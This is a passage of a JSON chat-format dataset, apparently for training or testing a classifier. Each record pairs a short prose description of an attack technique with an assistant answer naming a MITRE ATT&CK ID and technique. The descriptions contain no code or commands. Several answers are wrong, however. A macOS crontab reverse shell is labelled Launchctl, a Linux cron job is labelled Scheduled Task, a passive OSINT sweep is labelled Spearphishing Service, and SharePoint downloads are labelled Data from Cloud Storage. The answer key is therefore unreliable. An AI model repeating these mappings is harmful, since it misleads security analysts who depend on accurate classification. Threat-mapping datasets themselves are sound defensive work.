            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates WMI event subscriptions that trigger malicious payloads when specific system events occur."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending crafted STUN requests, the threat actor discovers the external IP address and creates a hole in the network address translation table."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a web application vulnerability to alter the authentication backend configuration, redirecting logins to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software exploits lax ACLs on a service binary, overwriting it and causing the compromised service to launch the attacker's payload."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom binary-to-text encoding scheme to embed exfiltrated data within HTTP headers."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the permissions of a utility with the setuid bit, the adversary can run commands with elevated privileges on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivers a payload named \"notes.txt.exe\" that looks like a harmless text file but runs as an executable when opened."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the threat actor creates a hidden folder on the victim's workstation and copies sensitive documents there to prepare for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed a DNS server takeover by stealing the DNS administrator credentials and changing NS records."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying bootloader configuration and removing recovery tools, the attacker ensures the victim cannot recover the system after an attack."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exfiltrates data by sending it as base64 strings within DNS TXT records to an attacker‑controlled name server."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts saved local credentials from the registry and uses them to create a new scheduled task under that account."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embeds malicious code within legitimate DLLs and uses packing to hide its functionality."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan employs an obfuscation routine that stores API names in an encrypted blob and decrypts them only before calling GetProcAddress."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits an insecure Docker API endpoint to start a container that establishes a backdoor connection."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .ps1 script is added to the Windows Logon Scripts folder and referenced in the Group Policy Object."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary routes malicious traffic through several compromised hosts, creating a multi-hop proxy to hide its origin."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary disguises its command‑and‑control traffic as legitimate HTTP traffic to blend in with normal web browsing."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware hides a payload in the header of a network packet capture file (PCAP), later read and executed by a compromised analysis tool."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By extracting a Kerberos ticket from the victim's cache, the intruder accessed multiple internal applications."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team uses PowerShell to retrieve trust relationships from the Windows registry to map trust dependencies."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests encrypted passwords from the Android AccountManager database."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrated data by invoking the SharePoint API with the victim's permissions to download files."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exfiltration tool converts data to Base64 and transmits it via HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains domain credentials by dumping the NTDS.dit through a compromised Domain Controller's file system."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script updates the domain's local admin rights assignment via Group Policy."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python script uses the `impacket` library to enumerate SMB shares on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a passive OSINT sweep of the target’s public forums to collect usernames and activity timestamps."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abused IBM Cloud Functions to host a Java payload that establishes a reverse shell back to the attacker’s server upon each invocation."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a subdomain takeover by exploiting an unclaimed Azure Blob Storage endpoint linked to the victim's domain."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary logs in as a local user via RDP using credentials harvested from previous phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT creates a stealthy rootkit that hides processes and files on Linux."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a compromised DNS server that also functions as a rogue web server to host malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a remote PowerShell session, the operator executes 'Get-Package' to retrieve a list of installed packages."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the COM class registration for a WMI provider to run code whenever a predefined system event occurs."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the print processor registry key to load a malicious DLL during system startup, achieving boot‑or‑logon autostart execution (T1547.012)."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed WHOIS queries to collect domain registration details of the victim organization."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a high rate of ARP requests to the victim, causing an ARP cache overflow and denial of service on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group performs a mass download of Confluence pages by abusing the export feature after gaining admin rights."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During runtime, the attacker alters the process's linked list of loaded modules to include a hidden DLL, enabling code execution without creating a new thread."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor swaps the system's initramfs archive with a compromised version."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a packing utility that removes all optional sections from the payload, producing a stripped binary to bypass analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit NTP monlist responses to send short commands back to compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a script that downloads a payload and employs reflective code loading to execute it silently on the victim's device."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Binary padding is employed by inserting a long sequence of zeroes before the payload to hide the true code size."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the macOS 'cron' daemon by adding a line to the crontab that executes a reverse shell every minute."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on compromised hosts generates continuous HTTP GET requests to a victim's web application, saturating the server's resources."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse the Services registry's insecure ACLs to point the service binary to a ransomware executable."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages search engines to find publicly accessible backup files that include entire database exports."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actors obtain a valid code signing certificate by bribing an employee of a certificate authority and then use it to sign ransomware installers."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors stole domain controller certificates to create counterfeit Kerberos tickets for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Chrome extension executes JavaScript to steal cookies and session tokens from the browser."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware monitors USB insertion events and automatically exfiltrates files to any connected removable storage."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team downloads a cryptominer malware sample from a compromised cloud storage bucket to gain new resources."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies an existing cron job on a Linux server to execute a reverse shell every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Group leverages the SMB protocol to enumerate shares and deploy payloads."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a malicious driver that continuously writes to a protected kernel memory region, leading to system instability and endpoint denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary reads configuration files from /etc/ on a Linux host and bundles them into an archive for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using standard base64, the command and control channel disguises its traffic as regular web traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses systemctl enable to start a malicious service after each reboot."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors craft shortcut files with custom icons that mask the execution of a ransomware payload when the user clicks the icon."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses timing checks to detect if the code is being stepped through in a debugger."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a data theft operation, the intruder caps the size of each exfiltrated file chunk at 2 MB to bypass bandwidth anomaly detectors."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT modifies the bootloader binary on an Android device, embedding a hidden payload that runs before the OS loads."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses DCOM to execute commands on a remote Windows host."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider creates a custom cloud account in IBM Cloud with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies files from the victim's hard drive to a hidden directory before exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts the KRBTGT account hash from a domain controller, then crafts a forged Kerberos Ticket Granting Ticket (TGT) granting themselves domain admin privileges, effectively creating a Golden Ticket."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker flashes a compromised BIOS image onto the motherboard, enabling early boot persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the attacker encrypts critical databases on the victim's server using RSA encryption, rendering the data unusable until a ransom is paid."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the login form of a web-based HR system to exfiltrate employee credentials to an external server."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised SSH key, the intruder runs a script that automates the installation of a backdoor via an enterprise package manager."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor modifies the UEFI firmware to load a custom bootloader that runs its code before the operating system starts."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable CI/CD pipeline, the attacker retrieved a short‑lived GitHub Actions token, which they used to push malicious code to repositories."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries delivered a PowerShell script disguised as a .js file to avoid sandbox detection."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker swaps out the legitimate client executable on a workstation with a malicious binary that exfiltrates data."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
